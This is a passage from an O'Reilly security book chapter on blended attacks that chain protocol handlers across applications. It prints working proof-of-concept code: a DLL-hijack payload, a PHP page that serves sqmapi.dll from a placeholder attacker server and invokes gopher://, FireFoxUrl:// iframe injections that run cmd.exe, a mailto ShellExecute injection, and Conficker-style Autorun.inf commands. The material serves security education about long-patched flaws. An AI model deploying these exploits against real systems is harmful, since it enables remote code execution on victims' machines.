Now that we’ve discussed some techniques for identifying the protocol handlers for each operating system, we will demonstrate how protocol handlers have been used in blended attacks. Why are blended threats so effective? Typically, well-written, secure software is designed with certain threats in mind. These threats are normally defined during a threat model. Threat models are typically done in isolation, considering the consequences of direct attacks against the software being created. In an attempt to keep the threat model (and subsequent security effort) manageable, certain security assumptions are made and some threats are considered out of scope. For example, many threat models consider attacks in which the attacker already has the ability to write to the filesystem out of scope and ignore defenses against those attacks. This is where blended threats have the most impact. Blended threats take advantage of weaknesses in two (or more) different pieces of software to compromise or steal data from a victim’s system. Modern-day information systems are not homogeneous systems consisting of software from a single organization. Instead, systems are heterogeneous, consisting of software from various (many times, competing) publishers and organizations. This myriad software on our systems creates a web of interaction among numerous pieces of software that the attacker focuses on in blended attacks. Although blended attacks exist in many forms, the examples in the following sections provide some technical insight into how they are developed and executed. These examples provide the foundation for other blended attacks.
In December 2006, security researcher Aviv Raff posted proof-of-concept code for some surprising Internet Explorer 7 behavior. When an instance of Internet Explorer was started, it would search for various dynamic link libraries (DLLs) from various file paths to be loaded by Internet Explorer. One of the locations that was searched was the user’s desktop. In default installations, Internet Explorer 7 would attempt to load sqmapi.dll, imageres.dll, and schannel.dll from various locations, including the user’s desktop. If an attacker were to place a DLL named sqmapi.dll, imageres.dll, or schannel.dll into the user’s desktop, Internet Explorer 7 would load that DLL when launched and would execute the code contained within the attacker-supplied DLL. Taken in isolation, this issue appears to be a low risk to Internet Explorer users. An attacker had to find a method to gain write access to the user’s desktop, place a DLL file with the correct name onto the desktop, control the contents of the DLL placed onto the desktop, and launch the Internet Explorer executable. Under normal circumstances, if the attacker had write access to the victim’s filesystem or had the ability to run an executable, she would already be able to compromise the victim’s machine using other, simpler methods and would have no need to use such a convoluted technique. Despite the seemingly low risk of the DLL loading behavior of IE7, Raff posted the following source code to a proof-of-concept DLL:
/*
Copyright (C) 2006-2007 Aviv Raff
http://aviv.raffon.net
Greetz: hdm, L.M.H, str0ke, SkyLined
Compile and upload to the victim's desktop as one of
the following hidden DLL files:
- sqmapi.dll
- imageres.dll
- schannel.dll
Run IE7 and watch the nice calculators pop up.
Filter fdwReason to execute only once.
Tested on WinXP SP2 with fully patched IE7.
For testing/educational purpose only!
*/
#include <windows.h>
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
TCHAR windir[_MAX_PATH];
TCHAR cmd[ _MAX_PATH ];
GetEnvironmentVariable("WINDIR",windir,_MAX_PATH );
wsprintf(cmd,"%s\\system32\\calc.exe",windir);
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi,sizeof(pi));
CreateProcess(NULL,cmd,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}Nearly two years after Raff posted this proof of concept for Internet Explorer’s curious DLL loading behavior, security researcher Nitesh Dhanjani (one of the authors of this book) discovered surprising behavior in the Safari web browser. Dhanjani realized that when Safari encountered an unknown content type, it downloaded the contents of the file to the user’s local filesystem without any consent from the user. On OS X-based systems, the default location was ~/Downloads. For Windows-based systems, the default location for the download was the user’s desktop. Dhanjani first reported the surprising behavior to Apple in May 2008. Dhanjani demonstrated that under certain circumstances, an attacker could “carpet bomb” a user’s desktop with arbitrary files (including executable files) without the user’s consent. Figure 4-9 shows a screenshot of the proof of concept shown to Apple.
After careful investigation, Apple concluded that its products were not immediately at risk from this behavior. The Safari browser had security mechanisms that helped protect users from immediate exploitation of this vulnerability. Although an attacker could place arbitrary files on the user’s desktop, Safari did not offer a reliable way to execute that file. Apple understood that without a reliable method to execute the downloaded file, an attacker could not compromise a user’s system using the reported vulnerability. Apple also realized that if an attacker already had the ability to execute applications from a victim’s filesystem, the attacker would most likely not need to use Safari’s strange caching/download behavior. Much like the Internet Explorer vulnerability discovered by Raff, Apple determined that taken in isolation, the issue discovered by Dhanjani represented a low risk to Safari users. Here is the source code for a Perl script that initiates a file download:
#!/usr/bin/perl print "content-disposition: attachment; filename=CarpetBomb.exe\n"; print "Content-type: blah/blah\n\n"; <EXE Contents>
With the two seemingly low-risk vulnerabilities being discussed in public forums, Raff combined the two low-risk vulnerabilities into a single high-risk attack against Safari users on Windows platforms. Despite the low risk of each individual attack, when used together the attacks resulted in a remote command execution vulnerability that gave the attacker full access to user data and resources. Raff understood that once a victim using the Safari browser visited his page, he could plant a malicious DLL file onto the victim’s local filesystem using the Safari carpet bomb vulnerability. As Raff mentioned in his advisory, when Internet Explorer 7 is launched, it searches the victim’s desktop for various DLLs: sqmapi.dll, imageres.dll, and schannel.dll. With this in mind, the attacker uses the source code provided by Raff and creates a malicious DLL named sqmapi.dll. When a web server serves the DLL, Safari cannot recognize the content type associated with the DLL, so the contents of the DLL file are downloaded to the victim’s desktop without any user interaction. The attacker now has a malicious version of sqmapi.dll on the victim’s desktop. Once sqmapi.dll is placed on the victim’s desktop, the attacker must find a way to launch Internet Explorer through Safari. Once Internet Explorer is launched, it will load the malicious DLL and execute the attacker’s code. Raff understood that the gopher:// protocol handler is mapped to the Internet Explorer executable in the following manner:
Gopher URL:Gopher Protocol
"C:\Program Files\Internet Explorer\iexplorer.exe" -homeRaff also realized that once the malicious DLL had been planted onto the victim’s desktop through Safari’s carpet bomb vulnerability, he could immediately invoke the gopher:// protocol handler. Once the gopher:// protocol handler is invoked, Safari will pass the protocol handler to the operating system, which will launch an instance of Internet Explorer 7. Once Internet Explorer 7 is launched, it will search the victim’s desktop for the malicious DLL. Finding the attacker-supplied DLL on the victim’s desktop, Internet Explorer 7 will load and execute the code within the malicious DLL. Each step is executed immediately and without user interaction. In this example, the malicious DLL simply contains code to launch c:\windows\system32\calc.exe, but an attacker could easily modify the source to launch any command with the same permissions as the victim.
Note
The Gopher protocol is a network protocol that was designed for document retrieval and search capabilities. The popularity of the Gopher protocol has declined sharply since the advent of HTTP. You can find more information on the Gopher protocol at http://en.wikipedia.org/wiki/Gopher_(protocol).
Here is the PHP source code required to generate a page that exploits this vulnerability:
<?php
// Payload for vulnerable versions of Safari
$carpetbombHTML = "<html><head><META http-equiv='refresh'
content='5;URL=gopher://carpetbomb'></head><body>
<iframe src='http://attacker-server/carpetbomb/sqmapi.dll'></iframe>
</body></html>";
// Payload so patched/non Safari browsers won't see the attack
$notvulnHTML = "<html><head><META http-equiv='refresh'
content='5;URL=http://www.google.com/search?hl=en&q=carpet+bomb+safari
&btnG=Search'></head>
<body>Nothing to see here... move along...</body></html>";
//Check to see if the victim is using Safari
if(agent('Safari') != FALSE) {
// Check to see if the victim is using Safari on Windows
if(os('Windows') != FALSE){
// Check to see if the victim is using a vulnerable version of Safari
if (preg_match("/version.*[[:space:]]/i",
$_SERVER['HTTP_USER_AGENT'], $versioninfo)) {
$version = substr($versioninfo[0],8,13);
$version2 = explode('.', $version,3);
if($version2[0] < 3){
echo $carpetbombHTML;
}
elseif(($version2[0] == 3) &&
($version2[1] < 1)){
echo $carpetbombHTML;
}
elseif(($version2[0] == 3) && ($version2[1] == 1) &&
($version2[2] < 2)){
echo $carpetbombHTML;
}
else{
//not vulnerable :(
echo $notvulnHTML;
}
}
}
}
function agent($browser) {
$useragent = $_SERVER['HTTP_USER_AGENT'];
return strstr($useragent, $browser);
}
function os($opersys) {
$oper = $_SERVER['HTTP_USER_AGENT'];
return strstr($oper, $opersys);
}
?>Many users prefer to have multiple browsers on their machines. The two most popular browsers currently on the market are Internet Explorer and Mozilla Firefox. When users installed Firefox 2.0 on a Windows-based machine, Firefox registered the FireFoxUrl:// application protocol handler. Examining the output from DUH.vbs, you can see that the FireFoxUrl:// application protocol handler is registered to the Firefox.exe application in the following way:
firefoxURL Firefox URL
"C:\Program Files\Mozilla Firefox\firefox.exe"
-url "%1" -requestPendingThe manner in which Firefox registered this protocol handler allowed attackers to inject arbitrary command-line arguments. However, due to various protections associated with the Firefox browser, an attacker could not use Firefox to inject command-line arguments against itself (the Firefox executable). So, taken in isolation, although registering the FireFoxUrl:// protocol handler created a seemingly insecure behavior, Firefox browsers seemed to be protected against abuse of FireFoxUrl://. What Mozilla did not anticipate was the possibility that other third-party software could invoke FireFoxUrl:// and take advantage of the manner in which FireFoxUrl:// was registered.
In this case, Internet Explorer was that third-party software that allowed for the abuse of the FireFoxUrl:// protocol handler. Internet Explorer 7 allowed for the invocation of arbitrary protocol handlers without warning. Additionally, Internet Explorer 7 did not encode special characters passed via the protocol handler, making the injection of arbitrary command-line arguments possible via FireFoxUrl://. This created a situation in which if the user had installed the Firefox browser but happened to be browsing the Internet with Internet Explorer, an attacker-controlled page could cause Internet Explorer to invoke the FireFoxUrl:// protocol handler without user consent or warning. Internet Explorer would pass the protocol handler and any attacker-supplied arguments to the operating system. The operating system would then determine which application was mapped to the protocol handler (Firefox.exe) and would launch Firefox.exe in the following manner:
"C:\Program Files\Mozilla Firefox\firefox.exe"
-url "attacker-controlled" -requestPendingConsidering that the attacker controls the value for
%1 (the attacker-controlled string
shown in the preceding example) being passed via the protocol handler,
and that Firefox didn’t have specific logic to prevent the injection of
additional command-line arguments from the protocol handler, the
attacker is free to inject any command-line flags for execution by
Firefox.exe. This attack is very similar to a
traditional SQL injection attack, where the attacker closes off one
argument and inject an unintended argument. Firefox 2 supported the
following command-line arguments:
-chrome //Executes chrome -new-window //Opens the URL in a new Firefox browser window -CreateProfile //Creates a profile -Console //Opens the error console -jsConsole //Opens the JavaScript Console -install-global-extension //Installs a global extension (XPI) -safe-mode //Launches Firefox in Safe Mode
Note
Visit https://developer.mozilla.org/En/Command_Line_Options for more information on Firefox-supported command-line arguments.
Knowing that Firefox registers the
FireFoxUrl:// application protocol handler and
having enumerated the various command-line arguments supported by
Firefox, the attacker can now craft client-side code that will abuse
these supported arguments through the protocol handler. For example, an
attacker could craft the following HTML, which abuses the
-new-window argument:
<html> <body> <iframe src="firefoxurl:test|\"%20-new-window%20javascript:alert('Cross%2520Browser%2520Scripting!');\""> </iframe> </body> </html>
When Internet Explorer (and various other browsers) encountered the HTML in the preceding code sample, it launched the FireFoxUrl:// application protocol handler and passed the protocol handler and associated arguments to the operating system, which would determine that the FireFoxUrl:// protocol handler was mapped to Firefox.exe. Ultimately, the operating system executed the following:
"C:\Program Files\Mozilla Firefox\firefox.exe"
-url "firefoxurl:test|"%20-new-window%20javascript:
alert('Cross%2520Browser%2520Scripting!');\"" -requestPendingHere is a breakdown of exactly what was executed:
"C:\Program Files\Mozilla Firefox\firefox.exe" -url "firefoxurl:test|"-new-window javascript:alert('Cross Browser Scripting!');"" -requestPending
Using the FireFoxUrl:// protocol handler, the
attacker closed off the -url command-line argument,
injected a new command-line argument (-new-window),
and crafted a string to make the remainder of the command line valid and
well formed. In the preceding example, the attacker initiated a
cross-site scripting (XSS) vulnerability. The XSS vulnerability is launched if the user browses the
attacker-controlled page with Internet Explorer, but also happens to
have the Firefox web browser installed. This type of XSS vulnerability
is known as a universal XSS vulnerability as it
simply relies on the fact that the victim has Firefox installed and does
not depend on a specific application-level flaw.
The preceding example is a simple example of how arbitrary command-line injection works with the FireFoxUrl:// protocol handler. The next example relies on the same principles, but delivers a payload that has much more impact, resulting in remote command execution on the victim’s machine. Here is the HTML source for the remote command execution exploit:
<html> <body> <iframe src= "firefoxurl:test\" -chrome \"javascript:C=Components.classes;I=Components.interfaces; file=C['@mozilla.org/file/local;1'] .createInstance(I.nsILocalFile); file.initWithPath('C:'+String.fromCharCode(92)+ String.fromCharCode(92)+'Windows'+ String.fromCharCode(92)+String.fromCharCode(92)+ 'System32'+String.fromCharCode(92)+String.fromCharCode(92)+ 'cmd.exe'); process=C['@mozilla.org/process/util;1'] .createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)"> </iframe> </body> </html>
Now, the preceding example seems to be more complicated than the
universal XSS example, but the foundations for the attack are identical.
Once again, FireFoxUrl:// provides an opportunity
to inject arbitrary command-line arguments. In this example, the
attacker injects the -chrome command-line argument. The
-chrome argument allows the attacker to execute a
chrome URL. In this case, the attacker supplies a JavaScript URL. When
JavaScript is executed in the context of -chrome, it
has special privileges, including the ability to read, write, and
execute arbitrary commands from the local filesystem. When Internet
Explorer renders the preceding HTML, the protocol handler is passed to
the operating system and the operating system executes the
following:
"C:\Program Files\Mozilla Firefox\firefox.exe" -url "firefoxurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces; file=C['@mozilla.org/file/local;1'] .createInstance(I.nsILocalFile);file.initWithPath('C:'+ String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+ String.fromCharCode(92)+String.fromCharCode(92)+'System32'+ String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe'); process=C['@mozilla.org/process/util;1'] .createInstance(I.nsIProcess); process.init(file);process.run(true%252c{}%252c0);alert(process)" -requestPending
Here is a breakdown of exactly what was executed:
"C:\Program Files\Mozilla Firefox\Firefox.exe" -url "firefoxurl:test"-chrome "javascript:C=Components.classes;I=Components.interfaces; file=C['@mozilla.org/file/local;1'] .createInstance(I.nsILocalFile); file.initWithPath('C:'+String.fromCharCode(92)+ String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+ String.fromCharCode(92)+'System32'+String.fromCharCode(92)+ String.fromCharCode(92)+'cmd.exe'); process=C['@mozilla.org/process/util;1'] .createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);" -requestPending
The JavaScript payload passed to -chrome has
various encoding schemes applied to satisfy JavaScript and Chrome syntax
requirements. Here is an unencoded version:
javascript:C=Components.classes;
I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:/Windows/System32/cmd.exe');
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,{},0);When the victim browsed to an attacker-controlled page with
Internet Explorer, Internet Explorer invoked the
FireFoxUrl:// protocol handler, which in turn
launched Firefox. Firefox then executed the attacker-supplied JavaScript
payload in the context of -chrome. This JavaScript
payload passed to -chrome allows the remote web page
to execute cmd.exe on the victim’s machine, without
the victim’s consent.
Note
Mozilla patched this command-line injection vulnerability in Firefox 2.0.0.5. The Mozilla security advisory related to this vulnerability is available at http://www.mozilla.org/security/announce/2007/mfsa2007-23.html.
This example took advantage of the insecure way in which Firefox registered the FireFoxUrl:// protocol handler as well as some loose behavior from Internet Explorer when dealing with special characters passed to protocol handlers. Taken in isolation, each behavior poses only a low risk to the user, but when they are combined into a single attack the risks increase and the impact of the blended attack results in the ability to remotely execute commands on a victim’s system.
In the two examples presented in the previous sections, we
demonstrated two blended threats that used browsers from different
vendors against each other. In this example, we will demonstrate how an attacker can
transform a local vulnerability in a Windows API into a remote
vulnerability through the use of blended attacks. This example begins
with a vulnerability in the ShellExecute Windows API
(WinAPI).
When IE7 was installed on Windows XP and Windows 2003 systems, it
made some changes to the ShellExecute WinAPI. When
ShellExecute was passed an argument that contained a
“%” character, it considered the argument mangled and attempted to “fix”
the argument in order to make the string usable. Normally, local
applications call ShellExecute to execute commands on
the local machine. In most cases, if an attacker has the ability to pass
arbitrary values to the ShellExecute WinAPI, the
attacker would already be in a position to execute arbitrary commands on
the victim’s machine. Considering the ShellExecute
API is not normally accessible remotely, the attack surface for this
individual vulnerability is small. If an attacker were to somehow gain
remote access to the suspicious ShellExecute
behavior, this would increase the risk of the
ShellExecute behavior from low to high.
As we discussed in previous examples, protocol handlers on Windows
allow an attacker to pass various items from the browser to the
operating system. The operating system then calls the appropriate
application, which was mapped via the protocol handler. When the
operating system calls the mapped application, it actually makes use of
the ShellExecute WinAPI. Normally, when a protocol
handler is invoked, the attacker has control of only a portion of the
arguments being passed to ShellExecute. Figure 4-10 shows a simplified example
of how the ShellExecute API is used in conjunction
with protocol handlers.
Special care was taken to prevent overwriting the beginning
portion of the strings that were passed to
ShellExecute via protocol handlers. This behavior
ensures that only the application mapped to the registered protocol
handler is executed. With the introduction of the subtle flaw in
handling “%” characters passed to ShellExecute
arguments, not only does the attacker have a technique to overwrite the
initial portion of the string passed to ShellExecute,
but also the registered protocol handlers give the attacker a medium to
pass the mangled string to ShellExecute from a remote
source.
The following example uses the mailto://
protocol handler. This blended attack does not depend on
mailto://; in fact, any protocol handler can be
used to reach the ShellExecute
WinAPI. In this situation, however, mailto://
offers the attacker some advantages over other protocol handlers. Some
browsers and many applications (such as Adobe Acrobat Reader) have a
protocol handler warning prompt that presents a warning to the user in
the event a protocol handler is called. Both
mailto:// and a small number of other protocol
handlers are considered “safe” and will execute without warning from
most browsers and applications, allowing the attacker to silently invoke
a protocol handler without user interaction over a larger number of
applications. In this example, the specific application that is
registered to the mailto:// application protocol is
irrelevant; however, for demonstration purposes, we will assume that
mailto:// is registered to a fictitious mail
application named mail.exe.
mailto mail "C:\Program Files\Mail Application\Mail.exe" "%1"
An attacker can invoke the protocol handler through a browser by using the following HTML. Note that the mailto:// protocol handler is used, the string passed to mailto:// contains the “%” character, and the string ends with the .cmd extension.
<html>
<body>
<iframe src='mailto:test%../../../../windows/system32/calc.exe".cmd'>
</iframe>
</body>
</html>The arguments supplied to the protocol handler will be passed from
the browser (or other application) to the operating system and the
operating system will attempt to execute the mapped application using
the ShellExecute WinAPI. The attacker-supplied
arguments are passed to ShellExecute in the following
manner (simplified for clarity):
ShellExecute("C:\Program Files\Mail Application\Mail.exe
mailto:test%../../../../windows/system32/calc.exe".cmd")Due to the strange behavior in ShellExecute,
instead of the mail program (mail.exe) being
executed, the “%” character mangled the argument passed to
ShellExecute so that the following was passed instead
(simplified for clarity):
ShellExecute("%../../../../windows/system32/calc.exe")This example uses calc.exe as an example; however, we could have used any executable. And although we demonstrated this attack in Firefox, we later discovered that other applications can be used to launch the attack, most notably PDF files, turning this blended attack into an attack that could be launched against a wide variety of browsers.
Note
You can find the official Microsoft Security Response Center (MSRC) response that outlines the details for this vulnerability at the following URL: http://blogs.technet.com/msrc/archive/2007/10/10/msrc-blog-additional-details-and-background-on-security-advisory-943521.aspx.
This attack blended several different application behaviors: most
notably, flawed parsing logic vulnerability in the
ShellExecute WinAPI, the ability of certain
browsers/applications to pass arguments without sanitization to the
vulnerable WinAPI, and the registration of the
mailto:// protocol handler on the “safe list,”
making it remotely accessible without warning in a large number of
applications. Taken in isolation, each vulnerability/behavior represents
a low/medium risk to users, but when they are combined the risk becomes
critical.
The previous examples focused on blended threats on Microsoft Windows platforms. However, OS X-based systems are not immune to blended threats. As Apple continues to gain market share and more developers flock to meet the growing demand for OS X applications, the opportunities for blended threats increase exponentially. Like Windows-based systems, OS X also supports application protocol handlers. Using the program provided earlier (DUHforMac.c) attackers can enumerate the popular applications that register a protocol handler as part of their installation process. This list provides an excellent starting point for the research and development of attacks and exploits that are wide-reaching.
The iPhoto application is a great example of a popular program that registers a protocol handler. iPhoto is made by Apple and is used for managing and organizing photos. When a user installs iPhoto onto his OS X-based system, the iPhoto application registers the following protocol handler:
photo iPhoto (/Applications/iPhoto.app)
In July 2008, security researcher Nate McFeters discovered a format string flaw in iPhoto. The format string vulnerability could be reached when a user attempted to subscribe to a maliciously crafted photocast. Normally, the iPhoto user would have to manually add the photocast URL, which after looking at the malicious photocast URL might make the user think twice about adding it. That malicious photocast URL looks something like this:
/Applications/iPhoto.app AAAAAAAAAAAAAAAAAAAAA...AAA%dd%n
Although the vulnerability seems to involve a large amount of user interaction to execute a reliable attack against the user, the fact that iPhoto registered a protocol handler opens additional avenues for exploitation.
Note
Wikipedia has a great definition of format string vulnerabilities, available at http://en.wikipedia.org/wiki/Format_string_vulnerabilities.
The Safari browser on OS X-based systems allows an attacker to execute arbitrary protocol handlers without user warning or interaction. If the user browses to a web page that contains references to a registered protocol handler, Safari will immediately invoke the protocol handler by passing the reference to the protocol handler (and any associated arguments) to the underlying operating system. Typically, support for protocol handlers is not a security risk in itself; however, when a protocol handler allows an attacker to control a capability not normally allowed for a particular situation, or when it reaches a portion of vulnerable code, it becomes a contributing factor in a security risk. In this example, the iPhoto application registered the photo:// protocol handler. The photo:// protocol handler allows the attacker to use Safari to pass an arbitrary photocast URL to iPhoto.app. The photocast URL will be passed to iPhoto.app without user interaction (other than visiting the malicious page) and without any warning to the user. The protocol handling behavior of Safari has turned this seemingly local vulnerability requiring a significant amount of user interaction into a remotely accessible vulnerability requiring very little user interaction.
Note
You can find Apple’s iPhoto security advisory describing the issue at http://support.apple.com/kb/HT2359?viewlocale=en_US.
One of the most sophisticated examples of a “real-world” blended attack is the Conficker/Downadup worm (Conficker). The techniques used to infect machines, and an analysis of the techniques used to hide the worm on infected machines, show the sophistication and creativity of current-day malware writers. As of January 2009, the Conficker worm had infected more than 9 million machines, including those at many large corporations, government systems, and some military departments. Conficker’s success in spreading to other machines relies on the chosen methods for infecting other machines and is an excellent example of how blended attacks can be used to maximize exploitation. Conficker’s aggressive nature and the use of blended attacks make it one of the most successful worms in recent history. The techniques used for propagation abuse existing behavior, which, taken in isolation, normally represents low security risks as the attacks assume that one has gained physical access to a machine or has gained physical access to the corporate internal network. Conficker’s ability to position itself to take advantage of low-risk behavior, break security assumptions, and change the situation so that these low-risk behaviors now become high-risk propagation methods make Conficker one of the most devastating worms of our time.
Much like other forms of malware, most of the initial Conficker infections occurred via traditional spam and malware campaigns. Although the spam and malware campaigns were unusually effective in the case of Conficker, it is how the worm behaves after the initial infection that is especially interesting and highly relevant when considering blended attacks. Once a machine was infected with Conficker, the worm disabled access to security/update-related websites in an attempt to preserve itself. Once access to security-related sites was disabled, the worm began scanning the machines on the local network for a known vulnerability in the Windows Server Service (MS08-067).
Note
The authors of the Conficker worm realized that patches are sometimes delayed for servers that are not reachable from the Internet due to the protections offered by corporate firewalls. Considering the infected machine is now within a corporation’s perimeter, the protection mechanisms offered by firewalls are completely bypassed.
In addition to scanning the local network for MS08-067, Conficker also took advantage of a seemingly low-risk behavior related to removable drives on Windows-based machines. By default, many Windows-based machines were configured to “autorun” content from removable drives that were physically connected to the machine. Normally, if an attacker has the ability to physically connect removable media to the target machine, little can be done to protect the machine, as the attacker would have gained physical access to the target machine. In this case, however, the Conficker worm took advantage of this behavior by writing itself (as a hidden file) to any removable media that was connected to the infected machine. The Conficker worm would also create an Autorun.inf file that pointed to the hidden Conficker executable.
Note
Visit http://msdn.microsoft.com/en-us/library/cc144200(VS.85).aspx for an excellent document describing the Autorun.inf file and its various options.
Windows systems automatically parse the Autorun.inf file when removable media is physically connected to a system. Here is an example of an Autorun.inf file:
[autorun] open="Evil.exe" ShellExecute="Evil.exe" Shell\Open\command="Evil.exe"
The preceding example shows an Autorun.inf
file that contains multiple commands that instruct Windows-based
machines to automatically execute Evil.exe from the
removable media. The commands within Autorun.inf
will be executed as soon as the removable media is connected to a
Windows machine. The Autorun.inf file created by
the Conficker worm made use of the open command,
specifying that Rundll32.exe open a DLL file
planted on the removable media. In addition to using
Autorun.inf files, the Conficker worm also abused
another seemingly benign behavior to help maximize stealth while
spreading. Conficker padded Autorun.inf with binary
data to disguise the commands held within the file. Although the binary
padding made it extremely difficult for a human to make sense of the
Autorun.inf file, Windows systems ignored the
binary padding and executed the hidden commands without any issues.
Figure 4-11 shows an actual
Autorun.inf file created by the Conficker worm; it
uses callouts to show which commands were hidden within the binary
data.
The contents of this particular Autorun.inf created by Conficker equate to:
[autorun] Action="Open folder to view files" Icon="%systemroot%\system32\shell32.dll,4 ShellExecute="rundll32.exe .\RECYCLER\XXXXXXX\jwgkvsq.vmx,ahaezedrn Useautoplay=1
Now, if the infected removable media is removed from the infected machine and is connected to another system, the Conficker worm will install itself on the new target and begin propagating itself to other adjacent machines. The Conficker worm used its access to a single infected machine with removable media and used the autorun functionality as a bridge to infect other systems that it couldn’t reach via initial infection methods.
Note
For documentation on disabling autorun functionality for Windows 2000 systems, visit the following URL: http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/regentry/93502.mspx?mfr=true.
In addition to exploiting MS08-067 and spreading via removable media, the Conficker worm also propagated via network shares. Using a predefined list of weak passwords, it attempted to gain access to various network shares on machines. Normally, network shares on a corporate network are available only to other corporate users on the same network. Many system administrators also configure their corporate firewalls to block requests for network shares originating from the Internet. This can lull users into thinking that the security mechanisms used to protect these network shares can be lowered in an attempt to increase convenience when accessing the network file share. Since the Conficker worm has already infected a machine within the corporate perimeter, it had ready access to network file shares. The network file shares that had no password protection or that relied on weak passwords for protection quickly fell victim to Conficker’s password brute force attack. Once it gained access to a remote network share, Conficker would copy itself to the network share. It would also use the brute forced password to set up a Windows scheduled task job, which would automatically execute the malicious payload on the target machine, infecting it with Conficker and using it to spread further into the corporate network.
Note
Conficker had inflicted such an enormous amount of damage at the time of this writing that Microsoft offered a $250,000 bounty for information leading to the arrest of the Conficker authors. See http://www.microsoft.com/presspass/press/2009/feb09/02-12ConfickerPR.mspx for more information.
Get Hacking: The Next Generation now with the O’Reilly learning platform.
O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.
